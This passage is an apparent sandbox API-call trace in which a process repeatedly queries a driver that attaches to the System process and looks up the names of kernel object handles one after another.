[0130.041] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.041] PsReleaseProcessExitSynchronization () returned 0x2 [0130.041] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.041] ObQueryNameString (in: Object=0xfffffa8002066f20, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.041] ObfDereferenceObject (Object=0xfffffa8002066f20) returned 0x2 [0130.041] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.041] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.041] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.041] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.041] PsAcquireProcessExitSynchronization () returned 0x0 [0130.041] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.041] ObReferenceObjectByHandle (in: Handle=0xffffffff80000550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800254a240, HandleInformation=0x0) returned 0x0 [0130.041] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.041] PsReleaseProcessExitSynchronization () returned 0x2 [0130.041] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.041] ObQueryNameString (in: Object=0xfffffa800254a240, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.041] ObfDereferenceObject (Object=0xfffffa800254a240) returned 0x2 [0130.041] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.042] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.042] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0130.042] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.042] PsAcquireProcessExitSynchronization () returned 0x0 [0130.042] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.042] ObReferenceObjectByHandle (in: Handle=0xffffffff80000558, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a2d2d0, HandleInformation=0x0) returned 0x0 [0130.042] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.042] PsReleaseProcessExitSynchronization () returned 0x2 [0130.042] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.042] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0130.042] ObfDereferenceObject (Object=0xfffffa8001a2d2d0) returned 0x1 [0130.042] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.042] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.042] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0130.042] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.042] PsAcquireProcessExitSynchronization () returned 0x0 [0130.042] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.042] ObReferenceObjectByHandle (in: Handle=0xffffffff80000560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021af670, HandleInformation=0x0) returned 0x0 [0130.042] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.042] PsReleaseProcessExitSynchronization () returned 0x2 [0130.042] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.042] ObQueryNameString (in: Object=0xfffffa80021af670, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.042] ObfDereferenceObject (Object=0xfffffa80021af670) returned 0x2 [0130.042] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.042] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.042] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.042] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.042] PsAcquireProcessExitSynchronization () returned 0x0 [0130.042] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.042] ObReferenceObjectByHandle (in: Handle=0xffffffff80000570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80029bc7d0, HandleInformation=0x0) returned 0x0 [0130.043] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.043] PsReleaseProcessExitSynchronization () returned 0x2 [0130.043] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.043] ObQueryNameString (in: Object=0xfffffa80029bc7d0, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.043] ObfDereferenceObject (Object=0xfffffa80029bc7d0) returned 0x2 [0130.043] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.043] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.043] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.043] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.043] PsAcquireProcessExitSynchronization () returned 0x0 [0130.043] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.043] ObReferenceObjectByHandle (in: Handle=0xffffffff8000057c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002147270, HandleInformation=0x0) returned 0x0 [0130.043] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.043] PsReleaseProcessExitSynchronization () returned 0x2 [0130.043] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.043] ObQueryNameString (in: Object=0xfffffa8002147270, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.043] ObfDereferenceObject (Object=0xfffffa8002147270) returned 0x2 [0130.043] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.043] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.043] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.043] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.043] PsAcquireProcessExitSynchronization () returned 0x0 [0130.043] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.043] ObReferenceObjectByHandle (in: Handle=0xffffffff80000580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021194c0, HandleInformation=0x0) returned 0x0 [0130.043] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.043] PsReleaseProcessExitSynchronization () returned 0x2 [0130.043] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.043] ObQueryNameString (in: Object=0xfffffa80021194c0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.043] ObfDereferenceObject (Object=0xfffffa80021194c0) returned 0x2 [0130.043] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.043] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.043] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0130.044] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.044] PsAcquireProcessExitSynchronization () returned 0x0 [0130.044] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.044] ObReferenceObjectByHandle (in: Handle=0xffffffff80000584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003141e60, HandleInformation=0x0) returned 0x0 [0130.044] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.044] PsReleaseProcessExitSynchronization () returned 0x2 [0130.044] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.044] ObQueryNameString (in: Object=0xfffffa8003141e60, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.044] ObfDereferenceObject (Object=0xfffffa8003141e60) returned 0x1 [0130.044] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.044] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.044] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.044] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.044] PsAcquireProcessExitSynchronization () returned 0x0 [0130.044] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.044] ObReferenceObjectByHandle (in: Handle=0xffffffff80000588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800248ff20, HandleInformation=0x0) returned 0x0 [0130.044] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.044] PsReleaseProcessExitSynchronization () returned 0x2 [0130.044] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.044] ObQueryNameString (in: Object=0xfffffa800248ff20, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.044] ObfDereferenceObject (Object=0xfffffa800248ff20) returned 0x2 [0130.044] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.044] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.044] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.044] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.044] PsAcquireProcessExitSynchronization () returned 0x0 [0130.044] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.044] ObReferenceObjectByHandle (in: Handle=0xffffffff8000058c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021201f0, HandleInformation=0x0) returned 0x0 [0130.044] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.044] PsReleaseProcessExitSynchronization () returned 0x2 [0130.044] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.045] ObQueryNameString (in: Object=0xfffffa80021201f0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.045] ObfDereferenceObject (Object=0xfffffa80021201f0) returned 0x2 [0130.045] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.045] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.045] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.045] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.045] PsAcquireProcessExitSynchronization () returned 0x0 [0130.045] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.045] ObReferenceObjectByHandle (in: Handle=0xffffffff80000590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a42ab0, HandleInformation=0x0) returned 0x0 [0130.045] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.045] PsReleaseProcessExitSynchronization () returned 0x2 [0130.045] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.045] ObQueryNameString (in: Object=0xfffffa8001a42ab0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.045] ObfDereferenceObject (Object=0xfffffa8001a42ab0) returned 0x2 [0130.045] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.045] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.045] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.045] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.045] PsAcquireProcessExitSynchronization () returned 0x0 [0130.045] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.045] ObReferenceObjectByHandle (in: Handle=0xffffffff800005a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002253c20, HandleInformation=0x0) returned 0x0 [0130.045] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.045] PsReleaseProcessExitSynchronization () returned 0x2 [0130.045] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.045] ObQueryNameString (in: Object=0xfffffa8002253c20, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.046] ObfDereferenceObject (Object=0xfffffa8002253c20) returned 0x2 [0130.046] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.046] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.046] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.046] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.046] PsAcquireProcessExitSynchronization () returned 0x0 [0130.046] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.046] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002156790, HandleInformation=0x0) returned 0x0 [0130.046] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.046] PsReleaseProcessExitSynchronization () returned 0x2 [0130.046] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.046] ObQueryNameString (in: Object=0xfffffa8002156790, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.046] ObfDereferenceObject (Object=0xfffffa8002156790) returned 0x2 [0130.046] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.046] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.046] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.046] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.046] PsAcquireProcessExitSynchronization () returned 0x0 [0130.046] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.046] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a472d0, HandleInformation=0x0) returned 0x0 [0130.046] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.046] PsReleaseProcessExitSynchronization () returned 0x2 [0130.046] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.046] ObQueryNameString (in: Object=0xfffffa8001a472d0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.046] ObfDereferenceObject (Object=0xfffffa8001a472d0) returned 0x2 [0130.046] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.046] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.047] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.047] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.047] PsAcquireProcessExitSynchronization () returned 0x0 [0130.047] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.047] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800a9fe050, HandleInformation=0x0) returned 0x0 [0130.047] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.047] PsReleaseProcessExitSynchronization () returned 0x2 [0130.047] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.047] ObQueryNameString (in: Object=0xfffffa800a9fe050, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.047] ObfDereferenceObject (Object=0xfffffa800a9fe050) returned 0x2 [0130.047] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.047] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.047] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.047] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.047] PsAcquireProcessExitSynchronization () returned 0x0 [0130.047] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.047] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f92f20, HandleInformation=0x0) returned 0x0 [0130.047] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.047] PsReleaseProcessExitSynchronization () returned 0x2 [0130.047] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.047] ObQueryNameString (in: Object=0xfffffa8001f92f20, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.047] ObfDereferenceObject (Object=0xfffffa8001f92f20) returned 0x2 [0130.047] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.047] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.047] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.047] 